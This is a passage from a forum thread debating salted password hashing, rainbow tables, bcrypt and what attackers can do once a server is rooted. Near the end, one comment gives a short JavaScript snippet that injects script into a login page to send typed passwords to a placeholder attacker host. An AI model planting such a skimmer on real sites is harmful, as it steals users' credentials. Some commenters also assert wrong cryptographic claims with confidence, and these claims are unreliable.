But he'd have to build a new dictionary for each new salt value. That's why each password needs to get a unique salt value.

Re:Are MD and SHA easily reversible?

[Seth Kriticos]

Shut up, for crying out loud. You work under the assumption that your system stays uncompromised.

In security you should work under the assumption that your hash files get compromised, konws the hashes, the salt and the algorithm.

That's why stuff like bcrypt was developed. It's addressing this situation by making brute force hash lookups unfeasable.

Please read a crypto 101 book before posting next time, this really hurts to read.

Re:Are MD and SHA easily reversible?

[Rophuine]

There should be one salt per user, not one per application. This means that the whole effort to generate a rainbow table is only applicable to the one user you're trying to recover the password for; the rainbow table for the next user will be totally different, because there's a new salt. This means that all of your work to hack one account can't be re-used for the next. Salting isn't about preventing this sort of attack; it's about multiplying the effort to compromise n accounts by n. If it takes the attacker 5 days to compute a nice big look-up table, they now have to repeat that per account, instead of having now compromised every account.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

Yes, they have to brute force match the encrypted data with a dictionary attack.

Iterating your hash function n times makes that n times harder. That's worse for the attacker though - your app spends a small portion of its time verifying passwords, whereas attackers spend their cycles on nothing but a whole lot of that.

Every serious crypto app that uses passwords or passphrases uses key strengthening

If you don't believe me, ask Bruce Schneier.

Of course this all assumes your user database is compromised. You should really try to prevent that. But if it does happen, at least you know your users' passwords won't go down without a fight.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

The problem is that brute force attacks on standard hashes can be done at very hight rates, e.g. 2,000,000,000 tests per second. That's fast enough to break most user's passwords. Even fully random 8 character passwords from the full ASCII character set can now be broken by brute force search.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

Yes, the assumption is that the system is compromised. The point is that the salt isn't stored, only the range from which it was randomly picked. So the attacker has to try every possible salt in the range to try a password, just like the login code has to try (on average half of) every possible salt in the range before letting the user in.

It helps if you try to understand a comment before you attack it.

Re:Are MD and SHA easily reversible?

[josath]

"Dictionary attack" == computing hashes of things like "password" and "sparky" and seeing if they match. Finds poor passwords much quickly than testing every possible combination

pure brute force == computing hashes of everything from "aaaaa" "aaaab" "aaaac" all the way to "zzzzz" (a simplification).

If I know the salt, say it's !@#, then I can still run a dictionary attack, such as "!@#password" and "!@#sparky". If I don't know the salt, I have to do the much slower pure brute force, testing every possible combination.

I think you're confusing dictionary attacks with rainbow tables, where you compute all possible hashes in advance, so when you want to reverse a given hash, you just compare it to your pre-computed "rainbow table" and find the answer right away.

Well, no, not really

[Anonymous Coward]

As long as you use a different salt for every user, a potential hacker would only be able to hack one account at a time, even with access to your entire user table. That being said, using sha 512 would make this a very tedious task.

Re:The post isn't really about password hash stren

[jellomizer]

Normally if the person has enough access to see the hashed Password they have enough access to change it, with their own. No need to decrypt it just change it with your own... When you are done you past it back in. The purpose of MD5 SHA or whatever isn't to keep your password as an uncrackable password. It is about keeping it encrypted enough to keep us from seeing peoples passwords. So when they go I don't know my password you can't just look it up and give it to them. You will need to go threw a password reset process.

WPA uses sample principle - slow by design

[drop table user]

https://secure.wikimedia.org/wikipedia/en/wiki/Wi-Fi_Protected_Access#Security_.26_Insecurity_in_pre-shared_key_mode

If ASCII characters are used, the 256 bit key is calculated by applying the PBKDF2 key derivation function to the passphrase, using the SSID as the salt and 4096 iterations of HMAC-SHA1.

Slow by design.

Here's an idea

[t3sser4ct]

I've always wanted to experiment with this, but I've never tried it. If you're using something open like PHP, recompile the binaries with your own modifications to the md5() algorithm (or whichever function you're using). It doesn't have to be anything significant, but changing a few constants or routines and/or hard-coding a salt would make it pretty much impossible for someone to successfully attack the hashes without first realizing your trick, getting access to the binary, and reversing it.

Re:Here's an idea

[Entrope]

You would get basically the same result, with less chance of compromising the hash function, by prepending or appending some unique-per-server string to the input.

The operations in each round of these hash functions are usually very carefully chosen to resist attack, and fiddling with that mathematical structure is much more likely to make a worse hash function than it is to make an equivalent or stronger one.

Re:Here's an idea

[Anonymous Coward]

But there is an advantage to modifying the binary that can't be achieved with a traditional salt: even if a hacker gains full administrative access to the site, he would still be unable to determine the exact process by which hashes are computed. If he can see the source code for your site, it's fairly trivial to find the salt. If it's hard-coded into the binary on the other hand, he would have realize what you have done, gain root access to the server, then reverse the compiled code, which is significantly more challenging. And if you only make subtle changes to the algorithm, it will still look exactly like normal MD5 hash; most script kiddies probably wouldn't even notice the difference and waste days trying to brute-force the hashes with a normal MD5 algorithm.

Re:Here's an idea

[betterunixthanunix]

This sounds an awful lot like security by obscurity to me...

Isn't salting to avoid similarities in hashes?

[rsk]

I'm fairly green when it comes to the security game, but wasn't the purpose of the salting to avoid the issue we saw with Gawker in that once you figured out Bob's unsalted password "password" hashed to "5f4dcc3b5aa765d61d8327deb882cf99" you suddenly has the credentials for X other users that all used "password" as their password as well? Where if the password had been salted all the hashes would be different and they would have had to brute force each one?

If the hacker has root access to your machine and has access to the encrypted passwords, salts and your code... it sort of seems like a given that you are (a) screwed and (b) they can brute-force the passwords with a much higher success rate.

I was thinking salting was just helpful when the passwords got exposed/stolen but the rest of the machine/code/etc. wasn't compromised. (not sure when that actually happens, but hey)

Re:Isn't salting to avoid similarities in hashes?

[Anonymous Coward]

No.

If my password is password and hashed to 5f4dcc3b5aa765d61d8327deb882cf99, then adding salt to it would make my password hash to
091823dfa792ca9120aef1200c9266aa. So if you got access to my hashed password and not the salt, you wouldn't be able to look up the hash in a rainbow table and see a commonly used string that hashes to that hash is password, then go type in that password in some other application you know I have access to and get in.

You'd look up 091823dfa792ca9120aef1200c9266aa and see a common string that maps to it is asdjh2318asdlll
Go type that into gmail, and you still don't have access.

So salting is better explained as a uniqueness applied to your hash such that other people's hash of your password don't match yours. It means jack squat though if someone get's your salt, because now they can map 091823dfa792ca9120aef1200c9266aa to 5f4dcc3b5aa765d61d8327deb882cf99 and 5f4dcc3b5aa765d61d8327deb882cf99 to password (and a whole bunch of other ones, but this string would look awfully likely as your password)

Then they'd go to gmail and type that in to see if you use the same password everywhere!

Re:Isn't salting to avoid similarities in hashes?

[Anonymous Coward]

Yes, sort of. Your example is very simple, the real scenario is more complicated.

Techniques like the Rainbow Table allow you to do work up front once, then use the results to crack many passwords almost instantly. You can even do all the work up front without knowing a single password hash. Sites like "freerainbowtables" let you buy the huge datasets that result on hard disk. Salt disables this entire class of attack because the work to be done up front is multiplied by the number of different salts.

This protection still works (for a proper algorithm) even if the bad guys have the (hashed) password database which includes salts, and all the code. That's one reason why you should use a real password hash algorithm that cryptographers have looked at, not something your friend just came up with.

Now, in the specific case of Gawker they'd been using the DES crypt(3) from 1970s Unix. This has some salt, but not a lot (4096 possible salt values) and it's fairly fast to brute force. So people who picked "password" got their passwords revealed very quickly. But if you picked "#7oG,mbH" on Gawker probably still no-one knows that because although DES crypt is very old, it's not a complete pushover like the 1990s Windows password algorithms and cracking arbitrary 8-character passwords would take a lot of CPU. So using a hash did somewhat protect the people who chose good passwords on Gawker.

Re:Isn't salting to avoid similarities in hashes?

[Millennium]

I'm fairly green when it comes to the security game, but wasn't the purpose of the salting to avoid the issue we saw with Gawker in that once you figured out Bob's unsalted password "password" hashed to "5f4dcc3b5aa765d61d8327deb882cf99" you suddenly has the credentials for X other users that all used "password" as their password as well? Where if the password had been salted all the hashes would be different and they would have had to brute force each one?

That's correct. Salts do not make any individual password any harder to crack. They just make it so that an attacker can't take a shortcut by cracking one password and then looking for identical hashes.

If the hacker has root access to your machine and has access to the encrypted passwords, salts and your code... it sort of seems like a given that you are (a) screwed and (b) they can brute-force the passwords with a much higher success rate.

Yeah, pretty much.

Re:Isn't salting to avoid similarities in hashes?

[rsk]

So salting is better explained as a uniqueness applied to your hash such that other people's hash of your password don't match yours.

Either I'm crazy or you retyped what I said with "No" prepended to it...

Re:Isn't salting to avoid similarities in hashes?

[rsk]

Excellent info, thanks for the info dump!

I wasn't clear on:

That's one reason why you should use a real password hash algorithm that cryptographers have looked at, not something your friend just came up with.

All I've ever known to do with passwords is hash them and store the hash and then provide a reset function -- what proper algos are out there that we should be using?

Re:Isn't salting to avoid similarities in hashes?

[chew8bitsperbyte]

The salt also (helps) prevent the use of rainbow tables. Most organizations don't want to force their users to memorize 20+ character passwords. So they set the password limit to 8-16 characters. Normally, a rainbow table with computed values for 8 character passwords would work on _some_ users' passwords. Now add in the salt. If your salt is a 20 character string on its own, the attacker would need to have rainbow tables computed (for at least) 28 character passwords; a feat exponentially harder than 8. Or at least that's what my Sesame Street security has taught me.

Re:Isn't salting to avoid similarities in hashes?

[Seakip18]

Gawker actually encrypted,from what I've read, their passwords, rather than store a hash of them. This is what allowed even folks with good passwords to become vulnerable to Gawker's idiocy. The encryption can eventually be broken, exposing everyone's passwords.

But yeah, assuming a global salt or non-salted usage, once you figure out the hash for user A, you can easily tell if any other users have that password. The salt isn't really a secret. It just tells the person with your password list "Good luck compromising a user anytime soon with your precomputed hash tables."

Re:Isn't salting to avoid similarities in hashes?

[cforciea]

It means jack squat though if someone get's your salt, because now they can map 091823dfa792ca9120aef1200c9266aa to 5f4dcc3b5aa765d61d8327deb882cf99 and 5f4dcc3b5aa765d61d8327deb882cf99 to password (and a whole bunch of other ones, but this string would look awfully likely as your password)

That's wrong. If you are using salt for your hashing, you have to map 091823dfa792ca9120aef1200c9266aa to my password because there is no way to map 091823dfa792ca9120aef1200c9266aa to 5f4dcc3b5aa765d61d8327deb882cf99 even if you have my salt. That's not how any reasonable one way hashing function works.

Re:Isn't salting to avoid similarities in hashes?

[rsk]

The salt is typically a per-user thing you generate a registration time and store isn't it? Because you would need it every time they logged in to re-compute the hash and compare don't you?

I'm trying to figure out how to keep the salt safe in that case... as it seems storing it along side the password is just bad form.

But then a system-wide salt seems just as bad too (1 salt to rule them all).

Re:Isn't salting to avoid similarities in hashes?

[Qzukk]

Secrecy of the salt is not important for its purpose (however, having a unique salt for each hash is). Everyone just stores the salt along with the hash.

The purpose of the salt is to prevent comparing two hashes to determine if the passwords are identical, and to prevent comparing hashes to a precalculated rainbow table of hashes. It isn't intended to prevent against guessing weak passwords or spending the time to calculate an entire rainbow table for every possible salt.

Re:Isn't salting to avoid similarities in hashes?

[rsk]

Thank you Qzukk for the clarification.

Re:Isn't salting to avoid similarities in hashes?

[Vegemeister]

You store the salt and the hash of (password + salt). The salt is randomly generated and unique to each user. If an attacker has the salt, they can use it, in combination with a dictionary, to make a rainbow table. However, because the salt is unique to each user and has high entropy, the rainbow table is useless for finding any other user's password. The only situation in which a rainbow table is useful for cracking a properly salted password is when the salt can be obtained more easily than the hash of the salt with the password. For example, one might prepare rainbow tables for the strongest nearby WPA encrypted WLANs, just in case, without actually sniffing an authentication.

Re:Isn't salting to avoid similarities in hashes?

[rsk]

Much clearer now. Is there a generally "good length" for healthy sized salts? like random 32-character Strings or something else?

Re:Isn't salting to avoid similarities in hashes?

[Fulcrum of Evil]

wasn't the purpose of the salting to avoid the issue we saw with Gawker in that once you figured out Bob's unsalted password "password" hashed to "5f4dcc3b5aa765d61d8327deb882cf99" you suddenly has the credentials for X other users that all used "password" as their password as well? Where if the password had been salted all the hashes would be different and they would have had to brute force each one?

No, they're there so that you can't precompute a rainbow table and turn password cracking into a lookup. Once you crack Bob's password on gawker, you can easily check other sites with the same password, and often it will work. Nothing to do with salt.

Re:First Post!

[e70838]

In fact the first post is almost as much interesting as the whole story. Melchett does not understand very well the purpose of salts and want to share with us its ignorance.
Salts are a necessity: without salt, you would be able to identify very fast two users having the same password. Without salts, you would be able to find a password faster when you have more users. As a result, the size of the salt shall be related to the number of encrypted passwords you are trying to protect from cracking.

If you are trying to crack a single account, salt does not change anything. The purpose of salt is not to increase the security of a single account, but to avoid the reduction of security that would occur when you have many accounts.

Okay...waitaminute..

[Chas]

So you're saying SHA+a salt value sucks *IF THE ATTACKER ALREADY HAS ROOT ACCESS*?

Ore are you saying SHA+a salt value sucks *IF PEOPLE ARE USING WEAK DICTIONARY PASSWORDS*?

Can I get a "well fucking DUH!" here?

Seriously, exactly how tall are you claiming this molehill to be?

In BOTH cases the problem IS NOT the weakness of SHA+salt.

In the latter, the problem is some jackass used a crappy password. And even that's defensible if you have things like login restrictions and account locking in place.

In the former, well, not sure how to put this politely, THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.

Sorry, but this sounds like someone with SEVERE tunnel-vision here. They're so monofocused on "A" problem, that they fail to see the larger ramifications of the scenarios they construct.

Re:Okay...waitaminute..

[Noam.of.Doom]

I agree; isn't it like saying "thieves can rob your house if they manage to bypass your security systems"?

Re:Okay...waitaminute..

[Anonymous Coward]

If I've rooted a personal blog of a friend of yours which you occasionally comment on, that's bad but in the big scheme its not that big.

If I can get the clear-text of that password, I have the opportunity to do things like try the e-mail account for the e-mail address your profile lists. If it's used the same password, I now have access to your e-mail.

Based on reading your e-mail, I can probably find other sites you use. I can also probably use their reset password function to gain access to those accounts. Some, I won't even have to do that, as they e-mail you the password (Thanks AEP!)

So I wouldn't say its tunnelvision as much as its perspective. We know sites will get compromised; we should work to prevent it and to minimize the impact of being compromised.

Re:Okay...waitaminute..

[trollertron3000]

It's more like saying they can crack the combo on your safe if they just blow a hole in the side and get in.

Re:Okay...waitaminute..

[emj]

You forget two things:
1. getting the password database is usually easier than getting root.
2. even though it's a big problem that someone has root on your box it doesn't make it better that they also have the password of many of your users.

There are solutions, use a slower algorithm, or make your login mechanism secure.

Re:Okay...waitaminute..

[Chas]

The thing is, "if the person has root *already*" was specifically mentioned.

If the person already has root, it's a pretty safe assumption that your user passwords are compromised.

Essentially, once they have root, there is no "worse".

Re:Okay...waitaminute..

[thijsh]

No it's like saying "when thieves robbed your house and stole the security systems they will be able to brute force your security PIN at their evil lair... *MUHAHAHAHA*".
I guess the evil geniuses failed to think of anything to do with these passwords since they already have the stuff it's supposed to protect.

Re:Okay...waitaminute..

[Anonymous Coward]

So you're saying SHA+a salt value sucks *IF THE ATTACKER ALREADY HAS ROOT ACCESS*?

Yes, the stored passwords are vulnerable.

In the former, well, not sure how to put this politely, THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.

I disagree. It's a much bigger problem is if they can decrypt the password database.

Or are you saying SHA+a salt value sucks *IF PEOPLE ARE USING WEAK DICTIONARY PASSWORDS*?

Yes, SHA+a is vulnerable to weak passwords. Weak passwords are here to stay and we need a solution which is resistant to this SHA+a flaw (see bcrypt).

Re:Okay...waitaminute..

[TheSpoom]

I was just about to say. If an attacker has physical and/or root access, the game is over, you have lost.

If you use a better hashing algorithm like SHA-512, they'll probably at least not have a list of all of your users' passwords. They'll have everything else, but not the passwords.

Re:Okay...waitaminute..

[SamSim]

Yes, if an attacker roots your box, you have a much bigger problem. But the point is that you now have two problems: your box is rooted, AND all your customers' passwords are exposed. Using bcrypt reduces that to a single problem, namely that your box is rooted.

Re:Okay...waitaminute..

[Pedrito]

This just in: HTTPS is insecure when an attacker has rooted your machine. News at 11.

Re:Okay...waitaminute..

[cforciea]

It is more like saying that a thief can get everything out of your house safe if they have enough access to pick the safe up and walk out the front door with it and also pick up the technical schematic of the safe from your desk drawer on the way out.

Re:Okay...waitaminute..

[Anonymous Coward]

In the former, well, not sure how to put this politely, THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.

The point is not to protect the box that's been rooted but to protect other systems on the network which may use the same passwords, either due to password reuse or cached logins from a sign-on solutions (which is very common in an enterprise environment).

Re:Okay...waitaminute..

[steelfood]

Not quite. There are several issues at play here:

1) the data
2) the password

Sure, to get to encrypted data, you need to get to the password. But in most cases where your database is a back-end to a webapp, the data is stored in plaintext, so that point is moot. More likely, the data's not nearly as important, since if it were, it'd be much harder to root.

The real gem is the user's password. If an attacker can figure out the user's password, that attacker can then try that password on other, more secure systems (like the user's bank account).

Against this kind of attack, your box's security should only be one line of defense against an attacker getting to the data. The way the password is stored or authenticated should be the final line of defense, which means it should also be the strongest.

The purpose of a salt is obfuscation. Sure, security through obscurity isn't very effective, but in this case, so long as the attacker cannot get to the algorithm, a good salt is sufficient to prevent attacks (it is able to add a few extra bits of entropy to the password).

But once the algorithm is compromised, the salt is worthless. So the idea is to find a way to store the password in a way that it can still be authenticated against within a reasonable amount of time, but cannot be attacked by brute-force within a reasonable amount of time. These encryption/decryption routines provide this functionality by making the en/decrypting so time-consuming on a large scale that it's ineffective to brute-force.

Re:Okay...waitaminute..

[Anonymous Coward]

Actually, you've missed the bigger picture, first, there is ALWAYS one or more people with root access to a system, why should the "administrator" be trusted any more than any other user accessing the services on the system? What about companies that have dozens of administrators? Can you trust all of them? So, it's not just keeping the "bad" guys out, it's preventing the abuse and misuse altogether.

Second, as has been proven over and over and over again, no matter how secure you build your system, how much money you put into protecting it, sooner or later shit will happen and a cracker will get in, an employee will go rogue, or a simple developmer or administrator error will give access to the data via a non-protected way. Ignoring the human error component is a sign of incompetence in security. So regardless if a user uses an easy to guess password, the password, once on a system you are responsible for, should be protected.

The scary part is that this is fairly simple to do right using AES and using the users own password as the keying material for encrypting their password; why keep a key around when you can use the Users own password as the key? Of course, you can't get their password either, but that's the way it should be! Using a Nonce will make even statistical analysis of the row data in the database extremely difficult.

This will still leave the odd user who likes "password" for their password, but a few simple rules on password creation can reduce this issue; and once the "chance" of getting lucky gets down low enough, well, then even the idiots are protected :)

Finally, you can get into the esoteric, like memory dumps of live systems, copying swap files, etc, but even those problems have solutions that can greatly mitigate the risk but at a larger cost, that truthfully, most businesses are not interested in paying (even when forced to via laws).

Re:Okay...waitaminute..

[Qzukk]

If I can get the clear-text of that password, I have the opportunity to do things like try the e-mail account for the e-mail address your profile lists. If it's used the same password, I now have access to your e-mail

If I rooted the site, I'd just have the login screen log whatever you typed in rather than trying to decrypt all these hashes, salted or not.

Re:Okay...waitaminute..

[rgviza]

>At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.

This is definitely true for the server administrator, however the trouble is just beginning for the poor bastards with the encrypted passwords since their username is usually their email address, and most DFU's use the same password for _everything_. It's likely that over half of those decrypted passwords will be very useful indeed.

email address + password = comprimised email account = comprimised _everything_ for that user in many cases. They'll have mail sitting in there from amazon, ebay, their bank, porno sites, yadda yadda yadda.

the attacker can now log into amazon and place orders shipped to PO boxes with someone else's credit card and that's only the tip of the iceburg.

Re:Okay...waitaminute..

[Anonymous Coward]

In the former, well, not sure how to put this politely, THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.

Well, this is partly true.

But for instance, if someone roots the VPS my site is run on, they've compromised the data anyone has supplied me with. Not a huge deal, I don't collect sensitive data. But it's also fair to say that many people reuse credentials. It's awful, but true. If they can reverse those, now they have peoples' credentials to other services that might have more sensitive information.

In that case, I have to go to my users with, "Hey guys, sorry, whoever broke in likely has your password, so go change it everywhere you used it. Also, make sure they haven't emptied your bank account or taken over your facebook account."

Take the Gawker break-in. It wasn't so bad because someone had access to the Gawker info. It was rough because a lot of users' passwords were exposed, and Gawker had to go to their users, red-faced, and tell everyone their passwords were compromised.

Re:Okay...waitaminute..

[emj]

Well you only have the passwords of the people that logged in during the intrusion.

Re:Okay...waitaminute..

[Anonymous Coward]

I think the point author is making (or trying to make) is that offline attack on a database of HASH+salt passwords is getting more trivial. To that point:
a) no, you don't need root access; whatever way you got access to hashes works (SQL injection, backdoor or just copying a nightly backup to a floppy)
b) weak dictionary passwords. Author states 2^52.5 passwords in 33 days. This is close to full set of 6 char passwords at 60 possible chars (lower, upper, numbers, plus few specials). So it's pretty healthy (60^6 = 2^(~8*6). This is not dictionary, this is full set of uppercase, lowercase, digits and 2 special chars.

So, aside from not needing root access to the machine, article is pretty close.

You can fight it with repeated hashing or more intensive algorithms but in general, if you password space is limited, your hashes are reversible...

Re:Okay...waitaminute..

[Anonymous Coward]

select password, hash, salt from users

darnit! I cant figure this out, they must have used bcrypt, or scrypt?

How will I get the data out of the orders table now?

Re:Okay...waitaminute..

[El_Oscuro]

Obligatory:
xkcd

Re:Okay...waitaminute..

[Chas]

I disagree. It's a much bigger problem is if they can decrypt the password database.

No. Not really. If they've rooted the box, they already OWN the database. Plain and simple. No ifs, ands or buts.

Strong, weak or otherwise, they'll get the password list.

Re:Okay...waitaminute..

[evilviper]

THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems

You couldn't be more wrong.

There are inumerable situations where someone gains the ability to see the shadow file (or a hash going over the network) without gaining root access.

Hell, if root access on a box was the only concern, YOU WOULDN'T NEED TO EVEN HASH PASSWORDS, let alone salt them. Plain text, no problem, only root can read 'em, right? And never mind password expiration... its not there as an advanced memory test.

If someone gets root access on a box, but can't decrypt the passwords, then they can't just up and use those credentials to gain access to other, more important boxes.

Desktop Supecomputers

[parlancex]

Desktop supercomputers (GPUs) are cheap nowadays. Modern GPUs can process over 3 billion (yes, billion, with a B, http://www.golubev.com/hashgpu.htm) SHA-1 hashes per second, and this is where good salt gains it's importance, because even a very strong password of completely random upper and lower case letters and symbols could be extracted from it's SHA-1 hash on just 3 or 4 GPUs in less than 24 hours. Good random salt can increase this search time immensely.

That said, good password practice is obviously to avoid re-using passwords for different services, and if people actually followed that in practice it wouldn't be such a big deal for an attacker to gain access to the password plaintext, because if they have the hash database they probably have already compromised the site / system anyway, and getting the passwords wouldn't help them get any further access to other systems.

Re:Desktop Supecomputers

[Anonymous Coward]

(yes, billion, with a B

Okay there, Dr. Evil.

because even a very strong password of completely random upper and lower case letters and symbols could be extracted from it's SHA-1 hash on just 3 or 4 GPUs in less than 24 hours.

Are you sure about that? A "strong" password of 14 characters is an 84 bit search space. Even being generous with 16 billion hashes per second, 2^84 / (16*10^9 Hz) = 38 million years.

Yeah, real-life passwords would get down to a realistic time frame, but you explicitly said "very strong" and "completely random."

Good random salt can increase this search time immensely.

No it can't. Salt just helps when lusers recycle passwords.

Re:Desktop Supecomputers

[Anonymous Coward]

I just use PKCS5 with 118 iterations of SHA1.

Cracking a good password is, not very practical for regular cracker. For more security, once could go to 122 iterations, but that is less practical for web apps.

Least of your worries

[Anonymous Coward]

nd the quality of your salt values doesn't really matter when an attacker has gained full control, as happened with rootkit.com. When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

Um, yes. They will have the code you use to verify the passwords. Just like they would have the code for ANY authentication or any other security mechanism if they have this level of access. That problem is, by definition, not solvable.

Passwords should be considered deprecated

[Anonymous Coward]

I don't understand why we are still debating this... It is the old debate of "is it ciphered enough so the enemy can't read it."
Well, the history proves that the enemy always ends into deciphering.

So protecting data or an access by a password is a weak process. First there is a piece of the key that is known by an individual.
Second it is an information stored somewhere on a disk or similar device.
Let's be clear, when an attacker has broken into your environment and the only thing left to protect you is an encrypted string. I am sorry but you are already screwed.

From my point of view encrypting some data will never be enough to protect them because it is a wider problem.
Now find something that you will be comfortable but protect it in the peripheral as well.

so?

[kikito]

If an attacker has got root access, he can reset the passwords to whatever he wants. Unless I'm missing something, that's endgame. Users could have the passwords stored directly on the database, and it would make no difference.

Re:so?

[Anonymous Coward]

Not only that, but a reasonably skilled hacker could bug the login function to CAPTURE incoming passwords in the clear. Worrying too much about what happens after a complete pwning is pretty idiotic...

Re:so?

[Anonymous Coward]

Damage minimization

If they can have automagically all the user's password then ALL the damage is already done, if you can leer the percentage by 10 or 20% by using a good hashing algorithm, you are protecting around the same percentage of users in an attack event

Re:so?

[xxxJonBoyxxx]

That's probably endgame for the application, but the ability to discover existing user passwords from a system is often more interesting to an attacker than compromising the application that coughed up the hashes. The reason for that is that people often use the same credentials on other systems. So, if you attack a "lower security" system and grab credentials off of that, you can often turn around and more quietly attack a higher security system that shares many of the same users ("more quietly" because you can look more like a fumbling group of end users than a script kiddie if you've got legitimate credentials).

Re:so?

[Anonymous Coward]

If people use the same password for more than one thing that makes a difference.

Re:so?

[Anonymous Coward]

Leave the boolean logic to your computer. This is the real world. The passwords have value OUTSIDE the system as well, since people are retarded and use the same ones everywhere.

Re:so?

[KZigurs]

tcpdump?

Do you even know what hashing is?

[Anonymous Coward]

> When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords.

Simply put: No.
They get your salt and your code, sure... but try to figure out what hashing is and why we use it before uttering such complete nonsense.

Re:Do you even know what hashing is?

[Joe U]

Simply put: No.
They get your salt and your code, sure... but try to figure out what hashing is and why we use it before uttering such complete nonsense.

Unless it's something like a web application server, in that case they'll just install something to grab unencrypted usernames and passwords as they are input.

When an attacker has root access, all bets are off.

Of course salt matters

[DrXym]

Without salt all duplicate passwords share the same hash. That's the first problem. So if 30000 of your users share the same password you've cut the amount of work the attacker has to do. Once they dictionary attack one password they have all 30000 because the hash is the same.

The greater benefit is that unless the attacker knows how the salt was created and applied (e.g. prepended / appended), you stop dictionary attacks dead in their tracks. e.g. my salted hash might be a hash of the registered email address + plaintext password + some secret string of a random nature.

That means that even if the attacker stole my database they would not be able to dictionary attack it unless they also had the secret key. So at a minimum the secret should not reside in the same db as the hashes. Better yet, the hasher should not reside in the same process as the login server, better yet it should be on a different, protected box with a well defined API.

Re:Of course salt matters

[ladadadada]

You're absolutely right about the first part and wrong about the rest.

Any attacker that has access to your hashed passwords will have access to your source code and the salt.
How ? Unless you have exposed your database directly to the internet, he has attacked you through the web-facing part. So he knows how you created your salt because he has the source code that created it and he knows the value of the salt for any password, even if it's in a separate database, because your web application must have it in order to do authentication. If the web application can request it from the other database then so can he. If (as you suggested) the authentication is done on a separate box with a well-defined API, the attacker can happily use that API or simply continue his waltz through your system until he has access to that box as well. Well protected box ? What makes you think that can attacker that can get part-way into your system can't get the rest of the way ?

All of this effort creating a separate database, a separate authentication box, encrypting your salt or attempting to keep it secret, adding weird things like email addresses to your user's passwords and other techniques of that ilk is merely adding complexity that is entirely unnecessary.
Why ? Because you should be using an encryption scheme like bcrypt (there are other schemes that have the same properties). bcrypt allows you to artificially slow down the brute-force discovery of passwords by extending the algorithm that hashes them in the first place. If you aren't happy with attackers being able to brute-force 10,000 potential passwords per second, change the input to bcrypt when hashing the passwords so that it takes 10x as long. Now they can only do 1000 per second. In five years time when computers are 10x faster, just increase the input to bcrypt again to make it 10x slower. Brute forcing them faster would require a breakthrough in the mathematics behind cryptography. There is nothing (apart from using salt) that you mentioned above that can't be adequately achieved by stretching bcrypt out a little further.

Salt is protecting you against exactly one threat and it protects against that threat perfectly when it's random, large and stored right next to the hashed password. Nothing more is required of salt.
How large ? Well, large enough that when combined with the shortest password your system allows, a rainbow table that included every possible salt+password combination would be unfeasibly large. If your salt is any smaller then the attacker can just use a rainbow table.

Re:Of course salt matters

[DrXym]

Any attacker that has access to your hashed passwords will have access to your source code and the salt.

That's not necessarily true at all. For example a hacker might crack someone's web admin password, enough to see what's in the DB but not have file system access or knowledge of how the salt was produced. They may not have the source code either, especially if the site bothered to separate the authenticator and hasher into two separate machines.

Re:Of course salt matters

[ladadadada]

Sorry for the wall of text I posted. To help, I'll extract just the relevant bit that answers this question.

What makes you think that can attacker that can get part-way into your system can't get the rest of the way ?

It's true that for a short while an attacker may have only got part of the way to everything he needs. He has the hashes in your scenario and does not have the source code or the salt. Are we imagining a CMS that allows raw database access and doesn't have a file browser or any upload capabilities ? I've never seen one like that. Either of those capabilities would likely allow for easy and quick privilege escalation.

Hashes are usually not exposed in a CMS and you need to have greater access such as a database connection or file system access to get to them. Although you can create a scenario in which an attacker has the hashes but nothing else, such a scenario won't happen in the real world. If anything, it would make more sense to store the password hash rather than the salt on the more secure internal box, but since they are always needed at the same time, they are always stored together.

That said, there is something to be said for separation of responsibility and least-privilege. In the real world, the extra couple of hours it takes him to get from the web admin to the shell and from the shell on to the authentication box might be just long enough for your sysadmin to notice that something is going on and respond. Your plan will not stop an attacker dead in their tracks by any means but it may slow him down enough that you don't have to tell your customers to reset their passwords.

Degrees of Ownage

[LaminatorX]

"When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

While better password encryption is certainly a good thing, if your attacker has root access already, it's only a matter of time until he has the whole enchilada.

OTOH, you don't want rooting of one box quickly leading to compromise of a dozen others due to the amount of lazy password reuse that goes on.

Re:Degrees of Ownage

[Anonymous Coward]

The other hand is the only hand.

Use an HMAC

[Nelson]

If you need database support for it, then there is an opportunity to get some opensource fame and add it.

The assumption is they can get at the hashes, salt or not, with some of the GPU accelerated stuff and criminal set out there now, if they can get the hashes and it's simply salted and hashed or just hashed, within a reasonably small amount of time they can turn that in to passwords.

There is bcrypt but there are also hmacs, it would be interesting to see an analysis of md5-hmac vs salting or some other techniques, being as how it's largely considered easy to collide. Personally, I'd use an HMAC with SHA. I'd properly pad the passwords to be a full block in size and I'd pick a very random pass-phrase. Standards groups have helped design them with security in mind, where as the bcrypt proponents largely point to the speed of bcrypt as its biggest advantage.

Who cares what method?

[gnieboer]

The box is rooted, nothing you do matters. Just change the code...

CHANGE:
string pass = request("userspass")
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
            UserAuthenticated
}

TO:

string pass = request("userspass")
SendTheHackerThePassword(pass)
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
            UserAuthenticated
}

And you're done... Just wait for the passwords to come rolling in.

Any rooted machine that handles the user's actual password can be coerced into giving it up. So limit what machines see that password. Have your web client hash the password before if goes to the host (even when it's a secure connection). That would help, though the client machines should be easiest to hack, but at least it takes longer to get the right password.

Re:Who cares what method?

[Gunstick]

Oh, the browser hashes the password.
And the box is rooted?
Put your code here:
<head>
<title>super secure website</title>
</head>
<body>
<script>
function doit() {
document.write("<img src='http://senthehackerthepassword.com/"+form.password.value+"'>"
}
settimeout("doit()",5000) // could use onload or any other fancy technique
</script> ...

Re:Who cares what method?

[gnieboer]

Good point!

Re:Who cares what method?

[StikyPad]

Just wait for the passwords to come rolling in.

Exactly, but...

Have your web client hash the password before if goes to the host (even when it's a secure connection). That would help

